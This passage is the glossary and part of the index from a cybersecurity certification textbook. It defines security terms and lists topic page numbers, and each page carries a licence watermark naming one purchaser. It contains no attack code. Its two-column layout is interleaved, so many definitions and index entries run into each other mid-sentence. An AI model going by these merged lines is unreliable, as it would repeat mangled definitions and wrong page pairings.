for analysis. multiple logical controllers onto a single
chip.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-23

spear phishing An email-based or web- state actor A type of threat actor that
based form of phishing which targets is supported by the resources of its host
specific individuals. country's military and security services.
Also known as nation state actor.
SPIM (spam over internet messaging)
A spam attack that is propagated through state table Information about sessions
instant messaging rather than email. between hosts that is gathered by a
stateful firewall.
split tunnel VPN configuration where
only traffic for the private network is stateful inspection A technique used
routed via the VPN gateway. in firewalls to analyze packets down to
the application layer rather than filtering
SPoF (single point of failure) A
packets only by header information,
component or system that would cause
enabling the firewall to enforce tighter
a complete interruption of a service if it
and more security.
failed.
steganography A technique for obscuring
SQL injection (Structured Query
the presence of a message, often by
Language injection) An attack that
embedding information within a file or
injects a database query into the input
other entity.
data directed at a server by accessing the
client side of the application. STIX (Structured Threat Information
eXpression) A framework for analyzing
SSAE SOC (Statements on Standards
cybersecurity incidents.
for Attestation Engagements
Service Organization Control) Audit stored procedure One of a set of pre-
specifications designed to ensure that compiled database statements that can
cloud/hosting providers meet professional be used to validate input to a database.
standards. A SOC2 Type II report is
STP (Spanning Tree Protocol) A switching
created for a restricted audience, while
protocol that prevents network loops by
SOC3 reports are provided for general
dynamically disabling links as needed.
consumption.
stream cipher A type of symmetric
SSH (Secure Shell) A remote
encryption that combines a stream
administration and file-copy program that
of plaintext bits or bytes with a
supports VPNs by using port forwarding,
pseudorandom stream initialized by a
and that runs on TCP port 22.
secret key.
SSID (service set identifier) A character
stress test A software testing method
string that identifies a particular wireless
that evaluates how software performs
LAN (WLAN).
under extreme load.
SSO (single sign-on) An authentication
supplicant In EAP architecture, the device
technology that enables a user
requesting access to the network.
to authenticate once and receive
authorizations for multiple services. SWG (secure web gateway) An appliance
or proxy server that mediates client
SSTP (Secure Socket Tunneling
connections with the Internet by filtering
Protocol) A protocol that uses the HTTP
spam and malware and enforcing access
over SSL protocol and encapsulates an IP
restrictions on types of sites visited, time
packet with a PPP header and then with
spent, and bandwidth consumed.
an SSTP header.
symmetric encryption A two-way
standard naming convention Applying
encryption scheme in which encryption
consistent names and labels to assets
and decryption are both performed by
and digital resources/identities within a
the same key. Also known as shared-key
configuration management system.
encryption.
stapling Mechanism used to mitigate
syslog A protocol enabling different
performance and privacy issues when
appliances and software applications to
requesting certificate status from an OCSP
transmit logs or event records to a central
responder.
server.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-24 | Glossary

TACACS+ (Terminal Access Controller threat hunting Cybersecurity technique

Access Control System Plus) An AAA designed to detect presence of threats
protocol developed by Cisco that is often that have not been discovered by normal
used to authenticate to administrator security monitoring.
accounts for network appliance
threat map Animated map showing
management.
threat sources in near real-time.
tail command Linux utility for showing
time of day restrictions Policies or
the last lines in a file.
configuration settings that limit a user's
tailgating Social engineering technique access to resources.
to gain access to a building by following
time offset In forensics, identifying
someone who is unaware of their
whether a time zone offset has been
presence.
applied to a file's time stamp.
TAP (test access port) A hardware device
timeline In digital forensics, a tool that
inserted into a cable to copy frames for
shows the sequence of file system events
analysis.
within a source image in a graphical
tape Tape media provides robust, high- format.
speed, high-capacity backup storage. Tape
TKIP (Temporal Key Integrity Protocol)
drives and autoloader libraries can be
A mechanism used in the first version of
connected to the SATA and SAS buses or
WPA to improve the security of wireless
accessed via a SAN.
encryption mechanisms, compared to the
TAXII (Trusted Automated eXchange flawed WEP standard.
of Indicator Information) A protocol
TLS (Transport Layer Security) A
for supplying codified information to
security protocol that uses certificates for
automate incident detection and analysis.
authentication and encryption to protect
tcpdump command A command-line web communication.
packet sniffing utility.
TOCTTOU (time of check to time of use)
tcpreplay command A command-line The potential vulnerability that occurs
utility that replays packets saved to a file when there is a change between when an
back through a network adapter. app checked a resource and when the app
used the resource.
technical control A category of security
control that is implemented as a system token A physical or virtual item
(hardware, software, or firmware). that contains authentication and/or
Technical controls may also be described authorization data, commonly used in
as logical controls. multifactor authentication.
tethering Using the cellular data plan tokenization A deidentification method
of a mobile device to provide Internet where a unique token is substituted for
access to a laptop or PC. The PC can be real data.
tethered to the mobile by USB, Bluetooth,
TOTP (Time-based One-time Password)
or Wi-Fi (a mobile hotspot). Also known as
An improvement on HOTP that forces
hotspot.
one-time passwords to expire after a
theHarvester Utility for gathering results short period of time.
from open source intelligence queries.
TPM (Trusted Platform Module) A
thin AP An access point that requires a specification for hardware-based storage
wireless controller in order to function. of digital certificates, keys, hashed
passwords, and other user and platform
third-party risks Vulnerabilities that
identification information. transit
arise from dependencies in business
gateway In cloud computing, a virtual
relationships with suppliers and
router deployed to facilitate connections
customers.
between VPC subnets and VPN gateways.
threat actor The person or entity
responsible for an event that has been
identified as a security incident or as a risk.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-25

trend analysis The process of detecting VDI (virtual desktop infrastructure)

patterns within a dataset over time, and A virtualization implementation that
using those patterns to make predictions separates the personal computing
about future events or better understand environment from a user's physical
past events. computer.
Trojan A malicious software program vendor management Policies and
hidden within an innocuous-seeming procedures to identify vulnerabilities and
piece of software. Usually, the Trojan is ensure security of the supply chain.
used to try to compromise the security
virus Code designed to infect computer
of the target computer. Also known as
files (or disks) when it is activated.
Trojan.
vishing A human-based attack where
TTP (tactics, techniques, and
the attacker extracts information while
procedures) Analysis of historical cyber-
speaking over the phone or leveraging IP-
attacks and adversary actions.
based voice messaging services (VoIP).
typosquatting An attack—also called
VLAN (virtual local area network) A
typosquatting—in which an attacker
logically separate network, created by
registers a domain name with a common
using switching technology. Even though
misspelling of an existing domain, so that
hosts on two VLANs may be physically
a user who misspells a URL they enter
connected to the same cabling, local
into a browser is taken to the attacker's
traffic is isolated to each VLAN so they
website. Also known as URL hijacking.
must use a router to communicate.
UEBA (user and entity behavior
VM escaping (virtual machine escaping)
analytics) A system that can provide
An attack where malware running in a
automated identification of suspicious
VM is able to interact directly with the
activity by user accounts and computer
hypervisor or host kernel.
hosts.
VM sprawl (virtual machine sprawl)
UEM (unified endpoint management)
Configuration vulnerability where
Enterprise software for controlling device
provisioning and deprovisioning of virtual
settings, apps, and corporate data storage
assets is not properly authorized and
on all types of fixed, mobile, and IoT
monitored.
computing devices.
VPC (virtual private cloud) A private
USB data blocker (Universal Serial Bus
network segment made available to a
data blocker) Hardware plug to prevent
single cloud consumer on a public cloud.
malicious data transfer when a device is
plugged into a USB charging point. VPN (virtual private network) A secure
tunnel created between two endpoints
UTM (unified threat management)
connected via an unsecure network
All-in-one security appliances and
(typically the Internet).
agents that combine the functions of
a firewall, malware scanner, intrusion vulnerability A weakness that could
detection, vulnerability scanner, data loss be triggered accidentally or exploited
prevention, content filtering, and so on. intentionally to cause a security breach.
vault A secure room with walls and vulnerability assessment An evaluation
gateway hardened against physical of a system's security and ability to meet
assault. compliance requirements based on the
configuration state of the system, as
VBA (Visual Basic for Applications)
represented by information collected
Programming languages used to
from the system.
implement macros and scripting in Office
document automation. WAF (web application firewall) A firewall
designed specifically to protect software
VDE (virtual desktop environment) The
running on web servers and their backend
user desktop and software applications
databases from code injection and DoS
provisioned as an instance under VDI.
attacks.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-26 | Glossary

war driving The practice of using a Wi-Fi XML injection Attack method where
sniffer to detect WLANs and then either malicious XML is passed as input to
making use of them (if they are open/ exploit a vulnerability in the target app.
unsecured) or trying to break into them
XOR (exclusive OR) An operation that
(using WEP and WPA cracking tools).
outputs to true only if one input is true
warm site A location that is dormant and the other input is false.
or performs noncritical functions under
XSRF (cross-site request forgery) A
normal conditions, but which can be
malicious script hosted on the attacker's
rapidly converted to a key operations site
site that can exploit a session started on
if needed.
another site in the same browser. Also
watering hole attack An attack in which known as client-side request forgery or
an attacker targets specific groups or CSRF.
organizations, discovers which websites
XSS (cross-site scripting) A malicious
they frequent, and injects malicious code
script hosted on the attacker's site or
into those sites.
coded in a link injected onto a trusted
WEP (Wired Equivalent Privacy) A legacy site designed to compromise clients
mechanism for encrypting data sent over browsing the trusted site, circumventing
a wireless connection. the browser's security model of trusted
zones.
whaling An email-based or web-based
form of phishing which targets senior zero trust Security design paradigm
executives or wealthy individuals. where any request (host-to-host
or container-to-container) must be
white team Staff administering,
authenticated before being allowed.
evaluating, and supervising a penetration
test or incident response exercise. zero-day A vulnerability in software that is
unpatched by the developer or an attack
WinHex Forensics tool for Windows that
that exploits such a vulnerability.
allows collection and inspection of binary
code in disk and memory images. zero-fill A method of sanitizing a drive by
setting all bits to zero.
worm A type of malware that replicates
in system memory and can spread over ZigBee Low-power wireless
network connections rather than infecting communications open source protocol
files. used primarily for home automation.
ZigBee uses radio frequencies in the 2.4
WPA (Wi-Fi Protected Access) Standards
GHz band and a mesh topology.
for authenticating and encrypting access
to Wi-Fi networks. Also known as WPA2, Z-Wave Low-power wireless
WPA3. communications protocol used primarily
for home automation. Z-Wave uses radio
WPS (Wi-Fi Protected Setup) A feature
frequencies in the high 800 to low 900
of WPA and WPA2 that allows enrollment
MHz and a mesh topology.
in a wireless network based on an 8-digit
PIN.
XaaS (anything as a service) Expressing
the concept that most types of IT
requirements can be deployed as a cloud
service model.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index
Page numbers with Italics represent charts, graphs, and diagrams.

A account lockout and routing and switching

disablement, 196‑197 protocols, 218‑219
A/A (active/active) clustering, 251 account password policy Address Resolution Protocol
AAA. see authentication, settings, 192‑193 (ARP) cache, 37
authorization, and accounting account permissions, 195 ad hoc network, 357
(AAA) account restrictions, 193‑194 adjacent channel interference
ABAC (attribute-based access system-enforced account (ACI), 236
control), 201 policies, 192‑193 administrator credential
abnormal process behavior usage audits, 195‑196 policies, 185
analysis, 90‑91 account restrictions administrator/root accounts
academic journals, threat geolocation, 193 administrator credential
research sources, 28 location-based policies, 193 policies, 185
acceptable use policy (AUP), 208 time-based restrictions default security groups, 185
access, network impossible travel time/ generic administrator
architecture, 217 risky login policy, 194 account management, 185
access control entry (ACE), time-based login policy, admissibility in digital
200‑201 193‑194 forensics, 484
access control lists (ACL) time of day policy, 193 Adobe
egress traffic filtering, 256 ACE (access control entry), rights management
firewall rulesets, 262‑263 200‑201 services, 450
ingress traffic filtering, 256 ACI (adjacent channel software vulnerabilities, 50
reverse proxy servers, interference), 236 Advanced Encryption Standard
262‑263 ACL. see access control lists (ACL) (AES), 100, 237
top-to-bottom processing, Acronis Backup, 523, 525 Advanced Forensic Format
262‑263 actions on objectives, pen test (AFF), 493
access points, 235, 469 attack life cycle, 70 advanced persistent threat (APT)
access policies, 191‑192 active (intrusive) vulnerability defined, 20‑21
account attributes, 191 scanner, 60 fileless malware, 85
account audits, 194 active/active (A/A) clustering, 251 advanced volatile threat (AVT),
account expiration, 197 active defenses, 534‑535 fileless malware, 85
accounting active/passive (A/P) adversarial artificial
identity and access clustering, 251 intelligence, 480
management (IAM), 148‑149 active reconnaissance adware, 85
physical access controls, 540 drones/unmanned aerial AEAD (Additional Data)
account lockout and vehicle (UAV), 69‑70 mode, 109
disablement, 196‑197 footprinting, 69 AES (Advanced Encryption
account management controls. Open Source Intelligence Standard), 100
see identity and account (OSINT), 69 AES (Advanced Encryption
management controls social engineering, 69 Standard) cipher, 237
account permissions, 195 war driving, 69 AES Galois Counter Mode
account policies Additional Data (AEAD) Protocol (GCMP), 238
access policies, 191‑192 mode, 109 aggregation/banding
account attributes, 191 Address Resolution Protocol technique, 452
account audits, 194 (ARP)
poisoning attacks, 228

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-2 | Index

agile development software anomaly-based detection, 271 application-based firewalls, 260

development life cycle (SDLC), Anonymous, 20 application clustering, 251
400, 401‑403 Ansible cloud orchestration application development,
AH (Authentication Header), 305 platform, 430 deployment, and
AI. see artificial intelligence (AI) anti-forensics, 492‑493 automation, 399
AICPA, 11‑12 anti-malware software application firewall, 260
air gap (system isolation), 475 endpoint protection, 327 application layer (OSI Layer 7),
air gaped host, 548‑549 threat intelligence 258, 425
AirWatch, 345 sources, 25 application log files
AIS (Automated Indicator anti-virus response, 329 DNS event logs, 470
Service), 30 anti-virus software (A-V) dump files, 471
alarm systems and sensors, endpoint protection, 327 VoIP, call managers, SIP
543‑544 malware, 90 traffic, 471
allow list, 393 anything as a service (Xaas), web/HTTP access logs, 470
Alternate Data Streams 409‑410 application management,
(ADS), 495 A/P (active/passive) 352‑353
Always-on VPN, 308‑309 clustering, 251 application programming
Amazon Apache, penetration testing, 70 interfaces (APIs)
App store, 346 APIs. see application attacks, 374
Elastic Compute Cloud, programming interfaces (APIs) CASB (cloud access security
409, 410 Apple broker), 427
Web Services (AWS) Apple Pay, 360 cloud security controls, 419
Lambda, 41 Business Manager, 352 identity and account
Pacu exploitation GoTo bug, 385 management controls, 187
framework, 46 iOS inspection and integrations,
PrivateLink, 424 data encryption, 350 420‑421
security credentials, 188 enterprise mobility northbound, 432
security group management, 346 Representational State
management, 425‑426 jailbreaking, 353‑354 Transfer (REST), 430
American Institute of Certified macOS secure application protocols,
Public Accountants (AICPA), DarkMatter, 88 294‑295
11‑12 QuarkMatter, 88 service integration, 430
amplification attack, 247‑248 Push Notification Service, 361 Simple Object Access
analysis phase, 465‑466 appliance firewall, bridged Protocol (SOAP), 430
Android (layer 2) and routed (layer 3), 259 southbound, 432
Beam, 359 application allow and block lists, application security, 419
data encryption, 350 478‑479 application servers, 13
enterprise mobility application scanners, 59 application virtualization,
management (EMM), 346‑348 application attack, indicators 413‑414
Enterprise program, 346 DLL injection, 369 AppLocker, 394
locking down connectivity driver manipulation, 369 APT (advanced persistent
methods, 357 memory leak, 368‑369 threat), 85
Obad Android Trojan null pointer dereference, 368 arbitrary code execution, 366
malware, 359 overflow vulnerabilities, Arduino, 332
rooting, 353‑354 367‑368 Argus, 473
USB connection pass the hash (PtH) attack, ARP (Address Resolution
methods, 360 369‑370 Protocol), 37, 218‑219, 228
annualized rate of occurrence privilege escalation, 366‑367 artifacts and data recovery, 495
(ARO), 503 race conditions, 368 artificial intelligence (AI)
annual loss expectancy resource exhaustion, 368‑369 adversarial, 480
(ALE), 503 secure network designs, 247 cyber threat intelligence
anomaly analysis, 90 application aware firewalls, 258 (CTI), 26

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-3

physical site security email, 23 remote authentication

controls, 545 remote access, 23 dial-in user service
threat intelligence sources removable media, 22‑23 (RADIUS), 166‑167
artificial neural network social media sites, 23 smart-card
(ANN), 31 supply chain, 23 authentication, 164
machine learning (ML) web, 23 terminal access controller
techniques, 31 wireless access points access-control system
predictive analysis, 31 (WAP), 23 (TACACS+), 167
artificial neural network attestation, identity provider token keys and static
(ANN), 31 (IdP), 203‑204 codes, 167‑168
ASCII characters, 373 attribute-based access control two-step verification, 170
asset allocation, onboarding (ABAC), 201 biometric authentication
policies, 181 attributes, of authentication concepts
asset identification, 531 design concepts, 152 behavioral technologies,
asset management auditing cloud security, 418‑419 174‑175
asset identification AUP (acceptable use policy), 208 establishing, 172‑173
and standard naming authenticated encryption, 109 facial recognition, 174
conventions, 531 authentication fingerprint
internet protocol (IP) cryptographic use cases, recognition, 173
schema, 531 111‑112 bluetooth connection
IP address management identity and access methods, 358
(IPAM), 531 management (IAM), 148‑149 implementation
asset redundancy, 510 authentication, authorization, guidelines, 177
asset types, 510 and accounting (AAA) knowledge-based
asymmetric encryption enterprise/IEEE 802.1X authentication
cryptographic concepts, 96 authentication, 240 authentication
elliptic curve cryptography identity and access management, 161‑162
(ECC) management (IAM), 149 brute force attacks, 160
Digital Signature authentication attributes, 152 Challenge Handshake
Algorithm (DSA), 105 authentication controls Authentication Protocol
public key cryptography authentication design (CHAP), 158
algorithms, 102 concepts dictionary attacks, 160
public and private key pairs, attributes of, 152 hybrid password
100‑101 authentication attacks, 160
public key cryptography design, 151 Kerberos authentication,
algorithms authentication factors, 155‑156
cryptographic concepts, 150‑151 Kerberos authorization,
101‑102 identity and access 156‑157
RSA algorithm, 101, management (IAM), local authentication, 154
104‑105 148‑149 MS-CHAP, 158
trapdoor function, 101 multifactor authentication network authentication,
asynchronous replication, 520 (MFA), 151 154
AT&T Security, open source authentication technology password attacks, 159‑160
intelligence (OSINT), 27 extensible authentication Password Authentication
attack life cycle, penetration Protocol (EAP), 165‑166 Protocol (PAP), 157‑158
testing, 70 IEEE 802.1x port-based password crackers, 161
attack profile, black, gray, and NAC (PNAC), 166 passwords, resetting, 154
white box, 68 key management devices, personal identification
attack surface, 22‑23 164‑165 number (PIN), 154
attack vectors open authentication, rainbow table attacks, 160
cloud services, 23 168‑169 remote authentication, 154
direct access, 22

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-4 | Index

Windows authentication, authorization AWS (Amazon Web Services),

154‑155 creep, 195 46, 188
physical access controls, 540 identity and access
authentication design, management (IAM), 148‑149 B
confidentiality, integrity, authorization solutions
backdoors, 86‑87
availability (CIA) triad, 151 attribute-based access
background checks, 181
authentication design concepts control (ABAC), 201
backup media types
attributes of, 152 directory services, 202‑203
cloud backups, 527
authentication design, 151 discretionary access control
digital tape systems, 527
authentication factors, (DAC), 199
disk, 527
150‑151 federation and attestation,
network attached storage
identity and access 203‑204
(NAS), 527
management (IAM), 148‑149 file system permissions,
storage area networks
multifactor authentication 200‑201
(SANs), 527
(MFA), 151 mandatory access control
backup power generator, 517
authentication factors (MAC), 201
backups and retention policy,
logon factors, 150 Open Authorization (OAuth)
522‑523
ownership factor, 150‑151 protocols, 205‑206
backup storage issues, 526
Something You Are Open ID Connect (OIDC), 206
backup strategies
Authentication, 151 physical access controls, 540
backup media types, 526‑527
Something You Do role-based access control
backups and retention policy,
Authentication, 151 (RBAC), 199
522‑523
Something You Have rule-based access control,
backup storage issues, 526
Authentication, 150‑151 201‑202
copy backups, 525
Something You Know security assertions markup
differential backups, 524‑525
Authentication, 150 language (SAML), 204‑205
full backups, 524
Authentication Header (AH), 305 Automated Indicator Service
incremental backups, 524‑525
authentication logs, 470 (AIS), threat data feeds, 30
non-persistence
authentication management, automated vulnerability
environment, 528
161‑162 scanning
order of restoration, 527‑528
authentication provider, 154 patch management, 326‑327
snapshots and images,
Authentication Service, Kerberos vulnerability feed, 59
525‑526
authentication, 155‑156 automation concepts, 399
BadUSB, 321
authentication technology automation courses of action,
bandwidth monitor, 473
extensible authentication 402‑403
“bare metal” hypervisor, 412
Protocol (EAP), 165‑166 automation/scripting release
Barracuda firewall, 266, 419
IEEE 802.1x port-based NAC paradigms
barricades security, 541
(PNAC), 166 automation courses of
baseband radio, 333
key management devices, action, 402‑403
baseline configuration and
164‑165 continuous delivery, 402
registry setting, 326, 530‑531
open authentication, 168‑169 continuous deployment, 402
batter backups, 517
remote authentication dial- continuous integration
behavioral-based
in user service (RADIUS), (CI), 402
authentication, 152
166‑167 continuous monitoring,
behavioral-based detection, 271
smart-card authentication, 402‑403
behavioral technologies
164 continuous validation, 403
gait analysis, 175
terminal access controller Autopsy, 487, 491, 495
signature recognition, 175
access-control system A-V (anti-virus software), 90
voice recognition, 175
(TACACS+), 167 availability loss, impact of, 53
behavioral threat research,
token keys and static codes, avoidance, of risks, 504
threat intelligence providers, 26
167‑168 AVT (advanced volatile threat), 85
benchmarks, for cybersecurity, 12
two-step verification, 170

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-5

Berkeley Internet Name Domain cryptojacking, 89 mean time between failures

(BIND), 287 remote access Trojans (RATs), (MTBF), 510
BGP (Border Gateway 86‑87 mean time to failure
Protocol), 219 static known treats, 19 (MTTF), 510
binary packages, 386 bots, remote access Trojans mean time to repair
binary Python process, 392 (RATs), 86‑87 (MTTR), 511
binary shellcode, 395 Bourne Again Shell (Bash) mission essential functions
BIND (Berkeley Internet Name malicious indicators, 396 (MEF), 508‑510
Domain), 287 BPDU (Bridge Protocol Data risk management process, 500
biometric authentication Unit) Guard, 230 single points of failure (SPoF),
concepts branching statements 510‑511
behavioral technologies, Python, 392 site risk assessment, 511
174‑175 scripting, 390 see also risk management
Crossover Error Rate (CER), bridged appliance firewall, 259 business partnership agreement
172‑173 Bridge Protocol Data Unit (BPA), 323
establishing, 172‑173 (BPDU) Guard, 230 business process analysis
facial recognition, 174 Bring Your Own Device (BPA), 510
Failure to Enroll Rate (FER), 173 (BYOD), 344 business risk management
False Acceptance Rate bring-your-own-device (BYOD) cybersecurity assurance, 8‑10
(FAR), 172 call detail records (CDRs), 472 information assurance, 8‑10
False Rejection Rate (FRR), 172 evidence acquisition, 490 business workflows, network
fingerprint recognition, 173 Bro (Zeek Network Monitor), architecture, 217
vascular biometrics, 173 60, 268 BYOD. see Bring Your Own
vein matching scanners, 173 brownouts, 517 Device (BYOD)
biometric factor, 151 Browser Exploitation
biometric identification, 175 frameworks (BeEF), 397 C
biometric locks, 542 browser exploitation
C2. see command and control
birthday attacks, cryptographic frameworks, exploitation
(C2)
attacks, 117‑118 frameworks, 46
CA. see certificate authority (CA)
BitLocker, 321 brute force attacks, 160, 239
cable locks, 543
black box, 68 buffer overflow, 367
Cache Control, 385
black hat hacker, 20 bug bounty, 20, 30, 68
cache data acquisition, 495
black hole, 475 building automation systems
caching engines, 261
blackouts, 517 (BAS), 336
Caesarian cipher, 98
blockchain, 121 bulk data encryption, 112
California Consumer Privacy Act
blockchain-based IAM, 534 bulk encryption, 105‑106
(CCPA), 14
block ciphers, 100 burning documents, 552
call detail records (CDRs), 472
block list, 393 business continuity plan (BCP),
call list, 458
BlueBorne exploit, 358 463, 508
call managers, 471
Blue Coat, 426 business impact analysis (BIA)
Cambium Networks Wi-Fi
bluejacking, 359 business continuity plan
Inspector, 244
bluesnarfing, 359 (BCP), 508
camera/microphone
blue team, penetration testing, continuity of operation
enforcement, 351
68‑69 planning (COOP), 508
camera security, 544‑545
bluetooth connection methods, defined, 508
CAN buses, 338
358‑359 disaster recovery plans
canonicalization attack, 379
boot attestation, 320 (DRPs), 512
capabilities, of threat actors, 19
boot integrity, 319‑320 disasters, 511
captive portals, 239‑240
boot virus, 83 functional recovery plans, 512
capture the flag (CTF), 210‑211
Border Gateway Protocol identification of critical
card cloning, 543
(BGP), 219 systems, 510
card verification value (CVV), 442
botnets

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-6 | Index

carving, files, 495 digital certificates, 106, 126 Choose Your Own Device
CASB (cloud access security GlobalSign, 127 (CYOD), 344
broker), 272 GoDaddy, 127 chosen ciphertext attack, 109
cat command, 278 hierarchical (Intermediate Chuvakin, Anton, “Magic
CBC. see cipher block chaining CA), 127‑128 Quadrant” reports, 328
(CBC) mode IdentTrust, 127 CIA Triad. see confidentiality,
CBC (cipher block chaining) online vs offline CAs, 128 integrity, availability (CIA) triad
mode, 108 registration authorities (RAs), cipher, 96
CBT (computer-based 128‑129 cipher block chaining (CBC)
training), 211 Sectigo/Comodo, 127 mode, 108
CCI (co-channel interference), 236 single CA, 127 Cipher Block Chaining Message
CCMP. see cipher block chaining Transport Layer Security Authentication Code Protocol
(CBC) mode (TLS), 292 (CCMP), 237
CCMP (Cipher Block Chaining trust model, 127 cipher suites
Message Authentication Code certificate-based tunneling, 240 cipher block chaining (CBC)
Protocol), 237 certificate chaining, 127‑128 mode, 108
cellular data connections, certificate formats counter mode, 108
356‑357 encoding key exchange/agreement
cellular network, embedded Distinguished Encoding algorithm, 108
systems, 333 Rules (DER), 140 signature algorithm, 108
Center for Internet Security (CIS) Privacy-enhanced Transport Layer Security
benchmarks, 12‑13 Electronic Mail (PEM), 140 (TLS), 108, 293
centralized key management, file extensions, 141 ciphertext, 96
137 P7B format, 141 circuit-based alarm, 544
CER (Crossover Error Rate), PKCS #12 format, 141 CIS benchmarks, 12‑13
172‑173 certificate policies, 132 Cisco
CERT. see computer emergency certificates, update or revoke, 478 Aironet series, 245
response team (CERT) certificates and smart cards, 180 appliance firewall, 260
certificate and key management certificate signing request (CSR), ASA, 266
certificate expiration, 138 128‑129, 142 Cloudlock, 426
certificate formats chain of custody, 485 digital forensics, 487
Distinguished Encoding chain of trust, 127 fog computing, 433
Rules (DER), 140 Challenge Handshake IP Flow Information Export
file extensions, 141 Authentication Protocol (CHAP), (IPFIX), 473
P7B format, 141 158, 304 logs, 168
PKCS #12 format, 141 change control, 530, 532 SAFE architecture, 216
Privacy-enhanced change management, 530, 532 CISO, 4
Electronic Mail (PEM), 140 CHAP (Challenge Handshake CIS-RAM. see Risk Assessment
issues with, 143 Authentication Protocol), 158, 304 Method (CIS-RAM)
life cycle of, 137. see also key checksum Citrix
management digital signatures, 104‑105 ICA, 413
Online Certificate Status hashing algorithms, 97 XenApp, 413‑414
Protocol (OCSP), 139‑140 integrity and resiliency of XEN Server, 412
OpenSSL, 142 data, 113 Citrix Endpoint Management, 345
pinning, 140 Chef cloud orchestration clean agent fire suppression, 552
revocation lists, 138‑139 platform, 430 clean desk policy, 209
certificate attributes, 130 Chief Information Security cleanup, pen test attack life
certificate authority (CA) Officer (CISO), roles and cycle, 70
certificate signing request responsibilities, 4 clickjacking, 376
(CSR), 128‑129 Chief Security Officer (CSO), 4 Client Authentication, 132
defined, 126‑127 Chinese cyber espionage units, 20 client-based errors (400
Digicert, 127 choke firewall, 222 range), 470

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-7

closed circuit televisions (CCTV), security groups, 425‑426 Code-Red worm, 84

544‑545 VPCs and transit code refactoring, 369
cloud access security brokers gateways, 424 code reusage, 386
(CASB), 272, 426‑427 cloud security integration and code review, 387
cloud backups, 527 auditing, 418‑419 code signing, 88, 132, 393
cloud-based firewalls, 425 cloud service integration, 430 code signing certificates, 135
cloud-based versus on-premises cloud service models cold site, 533
risks, 55 anything as a service (Xaas), cold storage, 422
cloud compute security 409‑410 collisions, cryptographic attacks,
API inspection and consultants, 411 117‑118
integrations, 420‑421 geographical redundancy, 520 colocation cages, 548‑549
container security, 420 infrastructure as a service command and control (C2)
instance awareness, 421 (IaaS), 409, 410 penetration testing, 70
cloud computing concepts. see Managed Security Services remote access Trojans
secure cloud solutions Provider (MSSP), 411 (RATs), 87
cloud controls matrix, 11 platform as a service (PaaS), weaponization code, 460
cloud deployment models 409, 410 command injection attack, 379
community cloud, 408‑409 Security as a Service command-line interface (CLI), 419
hosted private cloud, 408 (SECaaS), 411 command-line packet capture
private cloud, 408 software as a service utility, 42‑43
public (multi-tenant) (SaaS), 409 command-line tools, topology
cloud, 408 cloud service provider (CSP) discovery (footprinting), 36‑37
cloud firewall security, 425 Cloud Security Alliance commercial threat intelligence
Cloudflare blog, Transport Layer (CSA), 11 platforms, 26‑27
Security (TLS), 293 cloud security controls, common log format (CLF), 470
cloud networking security 419‑420 common name (CN), 130‑131
public and private cloud security integration common vulnerabilities and
subnets, 423 and auditing, 418‑419 exposures (CVE)
virtual private cloud (VPC), public (multi-tenant) Common Vulnerabilities
423 cloud, 408 Scoring System (CVSS), 59‑60
cloud orchestration, 430 cloud services Mitre, 30
Cloud Security Alliance (CSA) as attack vectors, 23 network vulnerability tests
cloud controls matrix, 11 digital forensics for, 496 (NVTs), 59
enterprise reference cloud storage security plug-ins, 59
architecture, 11 encryption, 421‑422 Security Content Application
security guidance, 11 permissions and resource Protocol (SCAP), 59
cloud security controls policies, 421 vulnerability feed, 59
application security, 419 cloud versus on-premises Common Vulnerabilities Scoring
cloud access security brokers requirements, 204 System (CVSS), 59‑60
(CASB), 426‑427 clustering communication considerations
cloud compute security, active/active (A/A), 251 for embedded systems, 333‑334
420‑421 active/passive (A/P), 251 communication plan, incident
cloud firewall security, 425 application, 251 response (IR), 458
cloud networking security, 423 virtual IP, 250 community cloud, 408‑409
cloud storage security, 421‑422 cmdlets, 395 compensating controls, 10
data replication, 422‑423 CN (common name), 130‑131 competitors, treat actors, 21
high availability (HA), 422‑423 COBO. see Corporate Owned, compiled code, 387
identity and access Business Only (COBO) computer-based training
management (IAM), 419‑420 co-channel interference (CCI), (CBT), 211
secrets management, 419‑420 236 computer emergency response
secure web gateway Code Integrity (CI) policies, 394 team (CERT), 21‑22, 457, 458‑459
(SWG), 427 code of conduct, 208 Computer Security Act (1987), 13

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-8 | Index

computer security incident continuous authentications, 175 cross-site request forgery

response team (CSIRT), 457, continuous delivery, 402 (XSRF)/(CSRF), 375‑376
458‑459 continuous deployment, 402 cross-site scripting (XSS) attacks,
compute services, 420‑421 continuous integration (CI), 402 376‑377
conditional access, 201‑202 continuous monitoring, 402‑403 cryptanalysis, 96
conduct policy continuous validation, 403 cryptoanalysis, 116
acceptable use policy control block, Python, 391‑392 cryptocurrency mining, 89
(AUP), 208 control diversity, 533‑534 crypto diversity, 534
clean desk policy, 209 controller and access point crypto erase, 554
code of conduct, 208 security, 236‑237 cryptographic attacks
personally owned device control plane, 432 birthday attacks, 117‑118
use, 209 control risk, 505 collisions, 117‑118
social media analysis, 208 cookies downgrade attacks, 116‑117
conferences, threat research malware classifications, 85 key stretching, 117
sources, 28 nonpersistent (session), 374 man-in-the-middle attack
confidential (secret) data, 440 persistent (closed), 374 (MitM), 116‑117
confidentiality, integrity, secure cookies, 384 salting, 117
availability (CIA) triad Coordinated Universal Time cryptographic ciphers
authentication design, 151 (UTC), 289, 486 elliptic curve cryptography
information security roles, 2 COPE. see Corporate Owned, (ECC), 102
privacy and data sensitivity Personally-Enabled (COPE) encryption ciphers and
concepts, 438 copy backups, 525 keys, 98
